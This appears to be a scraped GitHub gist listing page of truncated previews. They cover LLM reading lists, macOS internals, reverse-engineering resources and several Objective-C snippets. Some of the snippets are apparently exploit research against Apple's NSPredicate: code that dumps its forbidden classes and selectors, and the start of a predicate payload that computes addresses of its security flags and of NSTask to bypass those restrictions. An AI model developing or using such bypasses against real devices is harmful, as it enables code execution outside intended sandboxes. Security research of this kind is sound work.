tin-z

Index

• #prepreqs

• #roadmap

  • #iot
  • #chrome-and-friends (#v8)

• #projects

veekaybee

Anti-hype LLM reading list

Goals: Add links that are reasonable and good explanations of how stuff works. No hype and no vendor content if possible. Practical first-hand accounts of models in prod eagerly sought.

Foundational Concepts

Pre-Transformer Models

aemmitt-ns

// dump classes and selectors forbidden in NSPredicates
// `cc -framework Foundation -o restricted restricted.m`
#import <Foundation/Foundation.h>
#import <dlfcn.h>

int main() {
    void *cf = dlopen("/System/Library/Frameworks/CoreFoundation.framework/CoreFoundation", 0);
    NSDictionary* (*RestrictedClasses)() = dlsym(cf, "_CFPredicatePolicyRestrictedClasses");
    NSDictionary* (*RestrictedSelectors)() = dlsym(cf, "_CFPredicatePolicyRestrictedSelectors");
    NSLog(@"Restricted Selectors: %@", RestrictedSelectors());

kconner

macOS Internals

Understand your Mac and iPhone more deeply by tracing the evolution of Mac OS X from prelease to Swift. John Siracusa delivers the details.

Starting Points

How to use this gist

You've got two main options:

rain-1

Purpose

Bootstrap knowledge of LLMs ASAP. With a bias/focus to GPT.

Avoid being a link dump. Try to provide only valuable well tuned information.

Prelude

Neural network links before starting with transformers.

aemmitt-ns

const typeMap = {
    "c": "char",
    "i": "int",
    "s": "short",
    "l": "long",
    "q": "long long",
    "C": "unsigned char",
    "I": "unsigned int",
    "S": "unsigned short",

aemmitt-ns

NSPredicate *pred = [NSPredicate predicateWithFormat:@"1=cast({" // cast to get nice error in syslog for debugging
    // use format string to read the address of _NSPredicateUtilities ( #self() ), theres prolly a better way
    "$_NSPredicateUtilities    := function('','stringByAppendingFormat:', '%p/%lld', #self()).lastPathComponent.longLongValue,"
    "$_predicateSecurityFlags  := $_NSPredicateUtilities + 0x188c,"      // address of _predicateSecurityFlags
    "$_predicateSecurityOnce   := $_predicateSecurityFlags - 0x276daec," // address of _predicateSecurityOnce
    "$forbiddenClassesLength   := $_predicateSecurityFlags + 0x63a334,"  // address of length field for array of forbidden classes
    "$forbiddenSelectorsLength := $_predicateSecurityFlags + 0x63a3d4,"  // address of length field for array of forbidden selectors

    "$NSTask := $_NSPredicateUtilities + 0x637860," // address of NSTask class
    "$NSPipe := $NSTask - 0x41a0,"                  // address of NSPipe class

aemmitt-ns

#import <Foundation/Foundation.h>

/*
[~/predicament]$ gcc -framework Foundation -lobjc -o predicament predicament.m 
[~/predicament]$ ./predicament "function('','stringByAppendingFormat:','%lld     ').longLongValue"                   
Expr: 'FUNCTION("", "stringByAppendingFormat:" , "%lld     ").longLongValue' (type: 4)

Value:  105553129238592
Danger: 105553129237664 (offset 928)
[~/predicament]$ ./predicament "function(function('','stringByAppendingFormat:','%lld     ').longLongValue-928,'longValue').dangerous"

muff-in

Assembly Language / Reversing / Malware Analysis / Game Hacking -resources

⭐Assembly Language

Modern x64 Assembly

https://www.youtube.com/playlist?list=PLKK11Ligqitg9MOX3-0tFT1Rmh3uJp7kA

Siguza

#!/usr/bin/env zsh

set -e;
set +m; # Job control would've been nice, but manual round robin it is, sigh.

if [ -z "${ZSH_VERSION+x}" ]; then
    echo 'Try again with zsh.';
    exit 1;
fi;